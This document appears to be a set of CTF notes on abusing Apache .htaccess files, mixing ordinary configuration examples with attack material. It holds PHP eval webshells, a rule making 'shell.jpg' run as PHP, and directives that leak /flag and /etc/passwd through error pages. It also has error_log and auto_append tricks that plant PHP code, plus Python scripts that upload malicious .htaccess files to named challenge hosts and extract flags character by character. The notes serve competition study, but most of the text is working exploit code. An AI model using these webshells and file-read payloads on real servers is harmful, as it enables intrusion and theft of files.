<Files "admin.php">
    # 指定认证类型为 Basic
    AuthType Basic
    # 提示文字
    AuthName "Admin Area"
    # 指定密码文件路径
    AuthUserFile /var/www/html/.htpasswd
    # 规则：必须是验证通过的用户
    Require valid-user
</Files>

#强制将 .jpg 当作 PHP 解析
<FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

#强制下载 .pdf 文件 (作为二进制流)
<FilesMatch "\.pdf$">
    ForceType application/octet-stream
</FilesMatch>

#让服务器识别 .apk 文件
AddType application/vnd.android.package-archive .apk

#让 .py 文件作为 CGI 脚本执行
AddHandler cgi-script .py

#设置 CORS 跨域响应头
<If "%{HTTP_ORIGIN} =~ /example\.com/">
    Header set Access-Control-Allow-Origin "[http://example.com](http://example.com)"
</If>

#修改请求头，伪造 HTTPS 标志给后端
RequestHeader set X-Forwarded-Proto "https"

<Files "upload.php">
    #增加内存限制
    php_value memory_limit 256M
    
    #开启报错显示
    php_flag display_errors on
</Files>

SetEnv APP_ENV dev

SetEnvIf User-Agent "Googlebot" IS_CRAWLER

SetEnvIfExpr "tolower(req('X-Sendfile')) == 'd:\images\very_big.iso')" iso_delivered
SetEnvIfExpr "tolower(req('X-Sendfile')) =~ /(.*\.iso$)/" iso-path=$1

#开启引擎
RewriteEngine On
#设置基准
RewriteBase /

#如果请求的文件不存在 (!-f)
RewriteCond %{REQUEST_FILENAME} !-f

#则转发给 index.php
RewriteRule ^(.*)$ index.php [QSA,L]

#禁止目录浏览
Options -Indexes

#优先查找 index.php，其次 index.html
DirectoryIndex index.php index.html

#如果开启了目录浏览，隐藏 .git 和 .env 文件
IndexIgnore .git .env

# 这里的路径是相对于网站根目录的
ErrorDocument 404 /404.html
ErrorDocument 500 "Server Error"

<?php
highlight_file(__FILE__);

if (isset($_REQUEST['Pr0x1ma'])) {
    eval($_REQUEST['Pr0x1ma']);
}

?>

php_flag engine 0

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

<?php
highlight_file(__FILE__);

if (isset($_REQUEST['Pr0x1ma'])) {
    eval($_REQUEST['Pr0x1ma']);
}

$preg = $_POST['preg'];

if (!preg_match("/[a-z0-9]/i", $preg) && ($preg == "Pr0x1ma")){
    echo "success";
}else{
    echo "未通过preg_match";
}

?>

php_flag html_errors off
php_flag log_errors on
php_value error_log "/var/www/html/pr0.php"
php_value error_reporting 30719
php_value include_path "<?php phpinfo(); ?>"

ErrorDocument 500 http://example.com/cgi-bin/server-error.cgi
ErrorDocument 404 /errors/bad_urls.php
ErrorDocument 401 /subscription_info.html
ErrorDocument 403 "Sorry, can't allow you access today"
ErrorDocument 403 Forbidden!
ErrorDocument 403 /errors/forbidden.py?referrer=%{escape:%{HTTP_REFERER}}

# Redirect to a URL on a different host
Redirect "/service" "http://foo2.example.com/service"

# Redirect to a URL on the same host
Redirect "/one" "/two"

<If "file('/flag') < 'flag{'">
ErrorDocument 404 "success"
</If>

<?php
// Simulation of the class structure provided
class Uploader {
    public function requireAdmin(): void {
        // In a real scenario, this checks logic.
        // For this CTF, we assume you are authorized to see this page.
        return;
    }

    public function handleUpload(): void {
        $this->requireAdmin();

        if (!isset($_FILES['file'])) {
            return;
        }

        $file = $_FILES['file'];

        // The core logic
        // 1. Filename cannot contain 'p' (case insensitive)
        // 2. Content cannot contain 'php', '\', or '?'
        if (!preg_match("/p/i", $file['name']) &&
            !preg_match("/php|\\\\|\?/i", file_get_contents($file['tmp_name']))) {

            $target_dir = 'test/';
            if (!is_dir($target_dir)) {
                mkdir($target_dir, 0777, true);
            }

            $target_file = $target_dir . basename($file['name']);

            if (move_uploaded_file($file['tmp_name'], $target_file)) {
                echo '<div class="alert alert-success">File uploaded successfully: <a href="'.$target_file.'">'.$target_file.'</a></div>';
            } else {
                echo '<div class="alert alert-danger">Upload failed (Permission error?)</div>';
            }
        } else {
            echo '<div class="alert alert-danger">Invalid file! I smell a "P" or something malicious...</div>';
        }
    }
}

// Handle logic
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $uploader = new Uploader();
    $uploader->handleUpload();
}
?>

ErrorDocument 404 "%{file:/flag}"

import requests
import sys

url = "http://web-5d0f4b4726.challenge.xctf.org.cn"

flag = "flag{"

def check(curr_flag):

    hta_data = f"""<If "file('/flag') < '{curr_flag}'">
ErrorDocument 404 "success"
</If>"""

    files = {"file" : (".htaccess", hta_data, 'application/octet-stream')}

    try:
        requests.post(url, files=files)
        res = requests.get(f"{url}/test/Pr0")
        if "success" in res.text:
            return True
        else:
            return False
    except:
        return False

while True:
    high = 126
    low = 32

    while low <= high:
        mid = (low + high) // 2
        char = chr(mid)

        tmp = flag + char

        if check(tmp):
            high = mid - 1
        else:
            low = mid + 1

    found_char = chr(high)
    flag += found_char
    print(flag)

    if found_char == "}":
        break

SetEnvIfExpr "file(unbase64('aW5kZXgucGhw')) =~ /(.*)/" Index=$1
ErrorDocument 404 "%{ENV:Index}"

"告诉你吧，flag在/love1145141919810 flag格式:PCTF{[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}} 本题来源于XCTF 9th Final (注：此题为挑战题，贴近真实比赛与真实生产场景，并非新生赛难度，请各位量力而行。) "

import requests
import sys

url = "http://challenge.imxbt.cn:31384/"

flag = "PCTF{"


def check(curr_flag):

    hta_data = f"""<If "file(\'/love1145141919810\') < '{curr_flag}'">
ErrorDocument 404 "success"
</If>"""

    hta_data_escaped = hta_data.replace('"', '\\"')

    payload = f"file_put_contents('.htaccess', \"{hta_data_escaped}\");"


    try:
        requests.post(url, data={"Wl&come_to!Pctf_2025?": payload})
        res = requests.get(f"{url}Pr0")
        if "success" in res.text:
            return True
        else:
            return False
    except:
        return False


while True:
    high = 126
    low = 32

    while low <= high:
        mid = (low + high) // 2
        char = chr(mid)

        tmp = flag + char

        if check(tmp):
            high = mid - 1
        else:
            low = mid + 1

    found_char = chr(high)
    flag += found_char
    print(flag)

    if found_char.endswith("}"):
        break

ErrorDocument 404 "%{file:/love1145141919810}"

SetEnvIfExpr "file('/etc/passwd') =~ /(.*)/" TMP=$1
ErrorDocument 404 "%{ENV:TMP}"

DirectoryIndex /flag

Options +Indexes
DirectoryIndex Nothing

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

import requests

url = "http://b93a6b86-e111-436c-ada8-48fb13baadfa.node5.buuoj.cn:81/"

content = """php_value auto_append_fi\\
le .htaccess
#<?php echo `cat /*`;?>
#\\"""

params = { "filename" : ".htaccess", "content" : content }

res = requests.get(url, params=params)

print(res.text)